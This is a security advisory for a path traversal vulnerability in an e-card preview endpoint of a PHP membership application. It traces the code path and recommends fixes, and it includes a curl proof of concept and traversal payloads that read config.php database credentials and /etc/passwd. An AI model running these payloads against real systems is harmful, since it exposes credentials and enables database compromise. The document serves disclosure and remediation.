CVE-2026-41655

Description

## Summary The `ecard_preview.php` endpoint does not validate that the `ecard_template` POST parameter is a safe filename before passing it to `ECard::getEcardTemplate()`. An authenticated user can supply a path traversal payload (e.g., `../config.php`) to read arbitrary files accessible to the web server process, including `adm_my_files/config.php` which contains database credentials. ## Details **Root Cause:** The `ecard_template` parameter is a select box whose value is only sanitized via `strStripTags()` during form validation, which does not restrict path traversal characters. Unlike `ecard_send.php` which explicitly validates the template name as a safe filename, `ecard_preview.php` omits this check entirely. **Code Path:** 1. `modules/photos/ecards.php:143-152` — The form creates a select box with template filenames from `adm_my_files/ecard_templates/`. The form object is stored in the session. 2. `modules/photos/ecard_preview.php:33-34` — The POST request is validated against the stored form object: ```php $categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); $formValues = $categoryEditForm->validate($_POST); ``` 3. `src/UI/Presenter/FormPresenter.php:2190-2243` — The `validate()` method applies `StringUtils::strStripTags()` to all values and performs type-specific checks for `captcha`, `date`, `editor`, `email`, `number`, `url`, and `uuid` — but has **no validation case for select box values**. The attacker-controlled value `../config.php` passes through unchanged. 4. `modules/photos/ecard_preview.php:48` — The unvalidated value is passed directly to `getEcardTemplate()`: ```php $ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']); ``` 5. `src/Photos/ValueObject/ECard.php:67-77` — The filename is concatenated into the path and opened: ```php public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string { if ($tplFolder === '') { $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/'; } // ... $fileHandle = @fopen($tplFolder . $tplFilename, 'rb'); ``` With `$tplFilename = '../config.php'`, this resolves to `ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php` → `ADMIDIO_PATH/adm_my_files/config.php`. **Why `ecard_send.php` is NOT vulnerable:** At line 35, it independently validates the template name: ```php $postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true)); ``` This calls `strIsValidFileName()` which checks `basename($filename) !== $filename`, blocking any path traversal. The preview endpoint lacks this check. ## PoC ```bash # Step 1: Log in and visit the ecard form to create a session with a form object # Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1 # Extract the adm_csrf_token from the rendered form HTML # Step 2: Send path traversal payload to read config.php (contains DB credentials) curl -b 'PHPSESSID=<session_cookie>' \ -X POST 'https://target/modules/photos/ecard_preview.php' \ -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview' # The response body will contain the contents of adm_my_files/config.php # rendered inside the ecard preview HTML, including: # $g_adm_srv (database host) # $g_adm_db (database name) # $g_adm_usr (database username) # $g_adm_pw (database password) # To traverse further outside adm_my_files: # ecard_template=../../system/bootstrap/constants.php (reads PHP source) # ecard_template=../../../../../etc/passwd (reads system files) ``` ## Impact - **Database credential disclosure:** Any authenticated user can read `adm_my_files/config.php`, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise. - **Source code disclosure:** Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets. - **System file disclosure:** With sufficient traversal depth (`../../../../../etc/passwd`), system files can be read, aiding further attacks. - **Low barrier to exploit:** Only requires a regular member account — no admin privileges needed. ## Recommended Fix Add filename validation to `ecard_preview.php` before passing the template name to `getEcardTemplate()`, matching the validation already present in `ecard_send.php`: ```php // In modules/photos/ecard_preview.php, add BEFORE line 48: $postTemplateName = admFuncVariableIsValid( $formValues, 'ecard_template', 'file', array('requireValue' => true) ); $ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName); ``` Alternatively, add select box value validation to `FormPresenter::validate()` to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application: ```php // In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate(): case 'select': if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) { throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label'])); } break; ```